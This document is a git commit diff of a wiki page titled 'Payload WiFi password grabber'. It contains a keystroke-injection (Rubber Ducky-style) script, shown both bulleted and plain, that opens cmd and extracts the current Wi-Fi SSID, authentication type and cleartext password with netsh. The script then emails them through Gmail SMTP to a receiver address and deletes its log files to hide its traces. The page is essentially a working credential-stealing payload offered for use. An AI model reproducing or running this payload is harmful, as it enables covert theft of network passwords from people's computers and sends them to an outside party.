Updated Payload WiFi password grabber (markdown)
This commit is contained in:
parent
9659a9ba34
commit
18d39ec657
|
@ -12,71 +12,71 @@
|
|||
If you have **any suggestions** please **tell me**.
|
||||
|
||||
## **Code**:
|
||||
* REM Author: Siem
|
||||
* REM Version: 1
|
||||
* REM Description: Clear text WiFi key grabber
|
||||
* DELAY 2000
|
||||
* WINDOWS d
|
||||
* REM --> Open cmd
|
||||
* WINDOWS r
|
||||
* DELAY 500
|
||||
* STRING cmd
|
||||
* ENTER
|
||||
* DELAY 1000
|
||||
* REM --> Change directory (you can change this to something else to make less visible)
|
||||
* STRING cd "%USERPROFILE%\Desktop"
|
||||
* ENTER
|
||||
* REM --> Get SSID
|
||||
* STRING for /f "tokens=2 delims=: " %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "B"') do set SSID=%A
|
||||
* ENTER
|
||||
* REM --> Get network type
|
||||
* STRING netsh wlan show profiles %SSID% | findstr "Network type" | findstr /v "broadcast" | findstr /v "Radio">Temp.txt
|
||||
* ENTER
|
||||
* STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" Temp.txt') do set NETTYPE=%A
|
||||
* ENTER
|
||||
* REM --> Get authentication
|
||||
* STRING netsh wlan show profiles %SSID% | findstr "Authentication">Temp.txt
|
||||
* ENTER
|
||||
* STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" Temp.txt') do set AUTH=%A
|
||||
* ENTER
|
||||
* REM --> Get key
|
||||
* STRING netsh wlan show profiles %SSID% key=clear | findstr "Key Content">Temp.txt
|
||||
* ENTER
|
||||
* STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" Temp.txt') do set KEY=%A
|
||||
* ENTER
|
||||
* REM --> Delete Temp.txt
|
||||
* STRING del Temp.txt
|
||||
* ENTER
|
||||
* REM --> Create Log.txt
|
||||
* STRING echo SSID: %SSID%>>Log.txt & echo Network type: %NETTYPE%>>Log.txt & echo Authentication: %AUTH%>>Log.txt & echo Password: %KEY%>>Log.txt
|
||||
* ENTER
|
||||
* REM --> Mail Log.txt
|
||||
* STRING powershell
|
||||
* ENTER
|
||||
* STRING $SMTPServer = 'smtp.gmail.com'
|
||||
* ENTER
|
||||
* STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
|
||||
* ENTER
|
||||
* STRING $SMTPInfo.EnableSsl = $true
|
||||
* ENTER
|
||||
* STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('ACCOUNT@gmail.com', 'PASSWORD');
|
||||
* ENTER
|
||||
* STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
|
||||
* ENTER
|
||||
* STRING $ReportEmail.From = 'ACCOUNT@gmail.com'
|
||||
* ENTER
|
||||
* STRING $ReportEmail.To.Add('RECEIVER@gmail.com')
|
||||
* ENTER
|
||||
* STRING $ReportEmail.Subject = 'WiFi'
|
||||
* ENTER
|
||||
* STRING $ReportEmail.Body = 'The log is attached!'
|
||||
* ENTER
|
||||
* STRING $ReportEmail.Attachments.Add('Log.txt')
|
||||
* ENTER
|
||||
* STRING $SMTPInfo.Send($ReportEmail)
|
||||
* ENTER
|
||||
* STRING exit
|
||||
* ENTER
|
||||
* REM --> Delete Log.txt and exit
|
||||
* STRING del Log.txt & exit
|
||||
* ENTER
|
||||
REM Author: Siem
|
||||
REM Version: 1
|
||||
REM Description: Clear text WiFi key grabber
|
||||
DELAY 2000
|
||||
WINDOWS d
|
||||
REM --> Open cmd
|
||||
WINDOWS r
|
||||
DELAY 500
|
||||
STRING cmd
|
||||
ENTER
|
||||
DELAY 1000
|
||||
REM --> Change directory (you can change this to something else to make less visible)
|
||||
STRING cd "%USERPROFILE%\Desktop"
|
||||
ENTER
|
||||
REM --> Get SSID
|
||||
STRING for /f "tokens=2 delims=: " %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "B"') do set SSID=%A
|
||||
ENTER
|
||||
REM --> Get network type
|
||||
STRING netsh wlan show profiles %SSID% | findstr "Network type" | findstr /v "broadcast" | findstr /v "Radio">Temp.txt
|
||||
ENTER
|
||||
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" Temp.txt') do set NETTYPE=%A
|
||||
ENTER
|
||||
REM --> Get authentication
|
||||
STRING netsh wlan show profiles %SSID% | findstr "Authentication">Temp.txt
|
||||
ENTER
|
||||
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" Temp.txt') do set AUTH=%A
|
||||
ENTER
|
||||
REM --> Get key
|
||||
STRING netsh wlan show profiles %SSID% key=clear | findstr "Key Content">Temp.txt
|
||||
ENTER
|
||||
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" Temp.txt') do set KEY=%A
|
||||
ENTER
|
||||
REM --> Delete Temp.txt
|
||||
STRING del Temp.txt
|
||||
ENTER
|
||||
REM --> Create Log.txt
|
||||
STRING echo SSID: %SSID%>>Log.txt & echo Network type: %NETTYPE%>>Log.txt & echo Authentication: %AUTH%>>Log.txt & echo Password: %KEY%>>Log.txt
|
||||
ENTER
|
||||
REM --> Mail Log.txt
|
||||
STRING powershell
|
||||
ENTER
|
||||
STRING $SMTPServer = 'smtp.gmail.com'
|
||||
ENTER
|
||||
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
|
||||
ENTER
|
||||
STRING $SMTPInfo.EnableSsl = $true
|
||||
ENTER
|
||||
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('ACCOUNT@gmail.com', 'PASSWORD');
|
||||
ENTER
|
||||
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
|
||||
ENTER
|
||||
STRING $ReportEmail.From = 'ACCOUNT@gmail.com'
|
||||
ENTER
|
||||
STRING $ReportEmail.To.Add('RECEIVER@gmail.com')
|
||||
ENTER
|
||||
STRING $ReportEmail.Subject = 'WiFi'
|
||||
ENTER
|
||||
STRING $ReportEmail.Body = 'The log is attached!'
|
||||
ENTER
|
||||
STRING $ReportEmail.Attachments.Add('Log.txt')
|
||||
ENTER
|
||||
STRING $SMTPInfo.Send($ReportEmail)
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
REM --> Delete Log.txt and exit
|
||||
STRING del Log.txt & exit
|
||||
ENTER
|
Loading…
Reference in New Issue